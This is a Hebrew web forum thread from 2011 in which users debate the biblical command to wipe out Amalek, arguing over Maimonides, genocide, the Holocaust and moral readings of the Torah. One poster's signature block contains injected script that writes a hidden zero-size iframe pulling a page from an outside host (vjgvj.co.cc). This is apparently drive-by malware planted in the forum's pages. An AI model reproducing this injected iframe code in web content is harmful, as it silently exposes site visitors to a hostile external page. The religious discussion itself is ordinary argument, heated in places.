|
|
| נשלח ב-1/5/2011 12:37 |
 |
| |
שותף סוד
יש לענות לדעתי לכל אדם לפי יכולתו להבין.
כאשר ילד שואל שאלה בפיזיקה מתקדמת בלי להבין, אני משתדל לענות לו כפי כוחי וכפי כוחו ולגבי השאר אני אומר לו שעליו ללמוד עוד כדי להבין בדיוק מה שאל.
אולי יש לך דרך אחרת בהתייחסות לשואלים ושאלות?
אני בכל אופן מעדיף את הדרך שלי. אני גם הייתי רוצה שינהגו בי באותה צורה, ויסבירו לי פנים ויסבירו לי כל פעם שאני טועה כך שאוכל להבין, ובמידת האפשר גם בלי לבייש אותי.
(איקון של חיוך ידידותי ומאיר פנים).
*** בגלל שכאן עמוד חדש, נא לשים לב שיש תשובה ארוכה מאד לפותח האשכול בסוף העמוד הקודם *** תוקן כדי להוסיף תזכורת זו.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
תוקן על ידי מיימוני ב- 01/05/2011 12:39:40
|
|
|
|
| נשלח ב-1/5/2011 12:47 |
|
| |
| מיימוני כתב: |  | לדעתי, הפיכת ענישת עמלק עד כדי השמדה נקבעה בגלל שזה היה העם הראשון שתקף את עם ישראל עם צאתו ממצרים, והנחיל לו מפלה, כמסתבר ממצבו - העם טרם התרגל להגן על עצמו בשל שנות השיעבוד. כדי להראות עד כמה ה' כועס על זה, נקבעה מצות השמדה לדורות.
במשך הזמן, חכמים ניטרלו את המצוה הזו כפי שניטרלו מצוות אחרות שיש בהן התייחסות על בסיס גזע כמו איסור לבוא בקהל לגרים מעממים מסויימים, בטענה הגורפת ש"בא סנחריב ובלבל את האומות" (מלך שהגלה עמים רבים) ולכן נעקרו תושבים ממקומם ושוב אין להלכות אלו משמעות מעשית. יש כמובן לדון על "ניטרול" זה ומניעיו. אך למעשה ההלכה של מחית עמלק אינה נוהגת וכמסתבר לא תוכל גם לנהוג.
וגם אם אנו חוזרים מדי שנה בשנה על הקראת המצוה, הרי זה רק מפני שההלכה שמרנית ואינה מבטלת מסורות. מצד שני, ברור שכל יהודי יודע שעמלק הוא יוצא דופן, ואין דרך התורה לרדוף ולהשמיד לא עם ולא אדם.
|
|
הבנה ילדותית של סיבת המצווה (להראות כמה השם כועס, אמא'לה) גוררת מסקנות ילדותיות (סתם קריצת עין של חכמים, זה לא ברצינות, דיברו את ההמון השוטה כשיטת מקסמן).
אין לכם אפילו מושג קלוש בעומק התורה המונחת לפניכם.
אוי להם לבריות מעלבונה של תורה.
מחיית עמלק היא חלק מתיקוני משיח וחזקה עליו שידע למצוא את דרכו גם אחרי בלבולי סנחריב.
קצת אמונה יהודית פשוטה יכלה להציל הרבה.
|
|
|
|
| נשלח ב-1/5/2011 12:48 |
|
| |
אני לא בטוח מי מעליב יותר את התורה.
מי שתולה עונש כזה באירוע היסטורי, או מי שטוען שיש רע קוסמי שמצווה להשמידו, ללא תלות מה הוא עושה ומה לא.
תוקן על ידי בעלבעמיו ב- 01/05/2011 12:50:56
|
|
|
|
| נשלח ב-1/5/2011 12:59 |
|
| |
| בעלבעמיו כתב: | | אני לא בטוח מי מעליב יותר את התורה.
מי שתולה עונש כזה באירוע היסטורי, או מי שטוען שיש רע קוסמי שמצווה להשמידו, ללא תלות מה הוא עושה ומה לא.
|
|
האפשרות להרע (צירי בריש) צריכה להימחות גם אם עשו בה שימוש יותר או פחות.
האם זה לא פשוט שתיקון העולם תלוי בביטול גמור של האפשרות להרע ?
מה העלבון לתורה בזה, אשמח לשמוע ולהשתכנע.
|
|
|
|
| נשלח ב-1/5/2011 13:14 |
|
| |
בהמשך לדבריו של מימוני. דעתי התיישבה עלי בעקבות דברי הרמב"ם בהלכות מלכים בפרק ו. שמהם עולה שעמלק שקיבל על עצמו ז מצוות בני נח ומס עבדות אין חובה להשמידו.
דבר זה מוציא את המצווה הזאת ממקומה הבעייתי. וההסבר לכך הוא.כפי שעמד על כך פרופסור ברל לנג, בספרו מעשה ומחשבה בהשמדת העם הנאצית. שכאשר ישנה חלופה, שבה מתאפשר לקרבן להציל את חייו. אין הדבר נחשב לפשע.
וכן לפי ההסבר שכפית שבע המצוות, ומס העבדות. נודעו לוודא, כי העם העמלקי שינה את עורו, ואינו חפץ עוד להשמידנו.
|
|
|
|
| נשלח ב-1/5/2011 13:26 |
|
| |
אני רק הערה,
לענ"ד הבעיה בעמלק אינה שהוא רע (למרות שבהרבה מקרים בפרט בזה הנידון מתברר שהוא בהחלט רע במיוחד) אלא בכך שהוא נאבק ע"מ לקיים את המציאות השקרית בה מציאות השם לא גלויה בעולם, לכן המלחמה בעמלק היא קודם כל מלחמה של הקב"ה. (כפי שמופיעה בסוף פרשת בשלח)
בכל מקרה לא מדובר על גזע נחות , עמלק הוא צאצא של אברהם ויצחק (!!!!) אבותינו, הבעיה היא בעם שתרבותו מיוסדת על היסוד שתיארת למעלה, וכמובן אם ישנה את בחירתו ויסיכם להתכופף תודעתית תחת ישראל (שזו למעשה המשמעות של הקריאה לשלום) הרי שלא תהיה שום חובה למחות את זכרו מן העולם.
השאלה היא אם הוא ייתכן ולו תאורטית שעם שכוחניות הוא חלק משמעותי מקיומו יסכים לוותר על על האתוס שמקיים אותו לאורך כ"כ הרבה שנים מתוך הכרה שכלית ו/או רצון טוב, להערכתי התשובה לכך היא לא, ולכן יש להניח שהוא ו/או ממשיכיו יפתחו במלחמה כשיבינו שהאתוס שלהם עומד להיאבד מן העולם, אבל אני משאיר למציאות לומר את שלה.
_________________
|
|
|
|
|
| נשלח ב-1/5/2011 13:33 |
|
| |
בכל מקרה אני מסכימה עם ירוחם שאת הכותרת של אשכול צריך לשנות מאחר שבספרו מיין קאמף היטלר לא מסביר את השנאה ליהודים בגלל הנושא של עמלק (.הוא מדבר יותר על הסכנה הבולשביקית שהיהודים עלולים להביא את הרעיונות הקומוניסטיים גם לגרמניה וכך לגרום למותם של מיליונים כפי שקרה ברוסיה. )
כמובן שהשנאה נבעה גם ממקורות רחבים יותר -הפרוטוקולים של זקני ציון על השאיפה היהודית לכבוש את העולם ואכמ"ל)אבל עד כמה שידוע לי רעיון מחיית עמלק לא מופיע בכתביו.
|
|
|
|
| נשלח ב-1/5/2011 13:43 |
|
| |
אייך אפשר להיות כאלה דמגוגים ? סליחה
מבחינת היסטורית אין אדום ולא עמליקים, ואפי' שכן כבר צטטי כמה פעמים את הרמב"ם בעניין (ותודה לחכם שצטט אותו שוב)
היום אפשר להמשיל כל רשע (עד שחוזר בתשובה) כעמלק, הרי התורה היא יותר רעיונית ממעשית בהרבה מצוות,
והעונשים הם רק לאיום ולא למעשה, הרי אצל המקושת משה רבינו שאל שוב אפי' שידע מה עונשו, כי ידע שאיום לחוד ומעשים לחוד, עובדה שכך ההבינו חז"ל ובטלו את העונשים כי זה לא מאיים כלל,
כלל גדול בתורה:
איומי עונש היא לא למעשה, אם צריך לעשות אותו למעשה כבר אין איום, במילא היא לא רלוונטית,
_________________
|
|
|
|
| נשלח ב-1/5/2011 13:50 |
|
| |
מקס
לא הבנת את הרעיון- אפשר להשתמש ברעיון מעוות זה- להצדיק את אלו שפוגעים בנו כולל הגרמנים- אז כל רעיון אפשרי
|
|
|
|
| נשלח ב-1/5/2011 13:55 |
|
| |
| ירוחםשמ כתב: | | מקס לא הבנת את הרעיון- אפשר להשתמש ברעיון מעוות זה- להצדיק את אלו שפוגעים בנו כולל הגרמנים- אז כל רעיון אפשרי |
|
אני אומר שכמו המילה "רשע" היא מילת גנאי ולא צריך להסביר לכל ילד מה הכונה,
כך שאני אומר לעמלקי (=יהודי שמלשין על עמו אצל האומות) אתה עמליקי הוא מבין את הרעיון שבדבר,
_________________
|
|
|
|
| נשלח ב-1/5/2011 14:11 |
|
| |
הלקח מהשואה הוא אחד:
אין לנו זמן לבדוק את כל הטצדקי והחילוקים הדקים אודות הגזענות.
אני בטוח שגם בגרמניה היו אינטלקטואלים שהסבירו בעצימת-עיניים-בדבקות ובמילים יפות ונעימות לאוזן הגרמנית למה היהודים פחותים. לא יודע אם הם עצמם השתתפו בג'נוסייד אבל ברור שהם היוו חלק מהמצע עליו הוא צמח.
גזענות, שלא לדבר על רעיונות על ג'נוסייד, יש להכחיד, ומיד!!!
_________________
|
|
|
|
| נשלח ב-1/5/2011 14:51 |
|
| |
הודעת הנהלה
לצערי היה עלי למחוק מספר הודעות של סוסרטי בגלל סגנון פסול. כמדומה שרצה לטעון שיש עד היום חרדים, ובהם ראשי ישיבות ידועים, הסבורים שמצוה להשמיד ולהרוג ולאבד עממים.
עד כאן הודעת הנהלה.
מכאן אני מנסה לענות.
אם הוא צודק, אזי יש בכך להראות לדעתי את התופעה הבאה: כאשר לומדים את התורה "כפשוטה", כלומר בלא הנחות יסוד ערכיות, אזי ניתן באמת להגיע לעיוותים. כאשר כופפים את הכל לעיקרון שיש לציית לה' ואין עוד שום דבר אחר, מאבדים את המחוייבות לטוב וליושר כפי שהם נתפסים על ידי האדם.
האם ניתן להוכיח שבעלי דעה זו, כלומר ה"הטרונומית" (כל ערך כפוף לכך שה' יכיר בו ויאשר אותו) טועים? אני סבור שכן. אני סבור שאם משוים בין המצוה של "ועשית הישר והטוב" לבין המצוה להשמיד את שבעת העממים בארץ ישראל ובין המצוה להשמיד את עמלק אנו עתידים לגלות סתירה עמוקה ופנימית. אם ה' אמר כי אין הוא מקיים את הענישה "פוקד עוון אבות על בנים" אלא רק אם וכאשר הבנים הולכים בדרך הרעה של אבותיהם, אזי האם בית דין של מטה יענישו יותר מבית דין של מעלה?
עדיין אני משער שבעלי הגישה ההטרונומית המוקצנת (שהרי תיתכן גישת בינים. גם אני מכיר בעליונות המוחלטת של ה' על כל הערכים, אבל אני עדיין סבור שה' רוצה בערכים האלו שיתגשמו, שנאמר "ועשית הישר והטוב") יענו שזו קושיה (אולי) אבל אין עליהם חובה לתרץ, והמצוות כפי שניתנו ניתנו.
ואכן לפי גישתם זו מתעוררים קשיים אלו שבעל האשכול הצביע עליהם.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
 |
|
|
|
|
| נשלח ב-1/5/2011 14:58 |
|
| |
שותף סוד
אם הבנתי נכון, טענת שההסבר שלי לוקה בילדותיות ומייחס אותה לה'.
אם כך הוא, עלי להסביר את עצמי יותר ברור.
איני סבור שה' באמת כועס. אין לו פסיכולוגיה. אבל אנו עדיין מדברים עליו כאילו הוא פועל מתוך רגשות, משום שאין לנו דרך אחרת להתבטא.
יותר מכך, ה' נתן אישור לשימוש זהיר מאד בדימויים כאלו במשך ההיסטוריה ובתוך ההלכה. כך הוא הרשה לומר עליו שהוא כועס על עבודה זרה ועל ניצול אדם בידי רעהו, שהוא אוהב את עם ישראל ובחר בהם, שהוא שמח על כל מי שמתאמץ ולומד תורה, ועוד. כל אלו דימויים שחלילה להבינם כאילו הם באמת מבטאים רגשות.
מדוע אם כן לא נאמרו הדברים במפורש בתורה? אני משער שזאת מפני שהדור שקיבל אותה לא היה מסוגל לכך. וכמובן כך מסביר רבנו הרמב"ם ולדעתי הוא צודק בכך.
***
הצעת הסבר חליפי למצות מחית עמלק שזו חלק ממלחמה כללית הרע ושהמשימה תושלם בימות המשיח וכנראה על ידו.
בעל בעמיו פירש את דבריך כך שהמלחמה בעמלק היא חלק מן המלחמה הכללית בין טוב ורע שנמצאים ביסוד המציאות. האם פירש נכון את כוונתך?
אם כן, הרי הבנתי שאתה נוקט בגישה שמכנים דואליסטית. שרואים מאחורי העובדות המוכרות לנו מערכה היסטורית בת דורות בין כוחות טובים ורעים.
אני משער שאינך יודע שהגישה הזו קדמה, היסטורית, לזו של המקובלים, ונמצאת היא אצל הגנוסטיקאים. כלומר כת נוצרית או קדם נוצרית שגם החזיקו בתפיסה של כוחות אלוהיים, ואצלם כמדומה מופיע גם המונח "ספירות".
המוזר לדעתי הוא שלא נמצא שום קשר היסטורי בין הגנוסטיקאים לבין המקובלים.
מזה זמן אני מתכנן לפתוח אשכול אודות הגנוסטיקה, אלא שאני משער שכמו כל תוכניותי גם זו לא אוכל לקיים מסיבות שונות.
בכל אופן, אם יש כאן שני הסברים המוצעים למצות מחית עמלק, ההסבר שלך כי עמלק מייצג באיזה אופן רע קוסמי (המונח של בעל בעמיו ואני מקוה שתסכים לו) וההסבר שלי שמדובר במצוה שניתנה לשעתה ולצורך הדור ההוא, אני עדיין מעדיף את שלי.
ולגבי תפיסתך שלך, התוכל להסביר במה חטא תינוק בן עמלק שזה עתה נולד?
והאם לבני עמלק אלו היתה נטיה טבעית לרע שלא יכלו להתגבר עליה, ולכן מוטב להרגם זכאים מחטא ולא חייבים ברציחה, כפי שיקרה לאחר שיגדלו?
ואם זה מהותי להם, לעשות רע ולרצוח, אזי איך צאצאיהם אינם רוצחים? ושמא תטען שכל מי שהוא ממוצא עמלקי יהפוך לרוצח באופן בלי נמנע ורק אנו איננו מכירים את זהותם בין כל הרוצחים?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-1/5/2011 15:00 |
|
| |
מיימוש
שאלה:
אם יתגלה אליך אלוהים בכבודו ובעצמו ויאמר לך שיש לבצע ג'נוסייד בעמלק - תעשה זאת או לא?
למעשה אפשר לנסח זאת מה היית עושה אם היית במקומו של שאול.
אם התשובה היא לא (במוצהר - לא שתגיד אני לא אעמוד בניסיון) - אז אתה אפיקויירעס למהדרין, ומקיים מצוות באופן סלקטיבי (כלומר הערך העליון שלך הוא ההדוניזם, והמוסר בכללו. לא האל)
אם התשובה היא כן -
איך אתה יכול להכריע שלא אלו הם דברי האל, לאור העובדה שזה מה שרשום בטקסט במפורש, שחז"ל לא הספיקו לשנות זאת (וכידוע מה שהם לא שינו אין כוח בידך לשנות מכל מיני סיבות; אילולא כן היית יכול להדליק אש בשבת), ושהיא יושמה בדיוק באופן הזה על פי נביא?
סתם wishful thinking בת יעני. יש לך הנחה אפריורית שהאל אינו חובב ג'נוסיידים? מנין? מבחינה היסטורית הוא עשה זאת (לא יעזור שתגיד שאז כללי המוסר המקובלים היו אחרים, כי בסופו של דבר האל גרם לרצח עם בעצם נותנו הוראות כאלו).
הפתטיות שלך פתטית בעצמה. העובדה האמפירית היא שרוב המאמינים חושבים בדיוק על ג'נוסייד, ולא יעזור שתמחק הודעות שאומרות את זה ותציג אותן כ"מרפסן איגרי".
_________________
|
|
|
|
| נשלח ב-1/5/2011 15:06 |
|
| |
| thepresent כתב: | | מיימוש
שאלה:
אם יתגלה אליך אלוהים בכבודו ובעצמו ויאמר לך שיש לבצע ג'נוסייד בעמלק - תעשה זאת או לא?
למעשה אפשר לנסח זאת מה היית עושה אם היית במקומו של שאול. |
|
למה הדבר דומה: לדבריו של אדמור ר' יואליש שאמר לחסידיו שאפי' אם אני יתיר פעם את הבחירות לכנסת ?! תדעו לא לעשות כך,
עצם המושג שלא תהיה תורה אחרת מאת האלוקים, היא סתירה באלוקים שאתה מאמין בו, והבן,
_________________
|
|
|
|
|
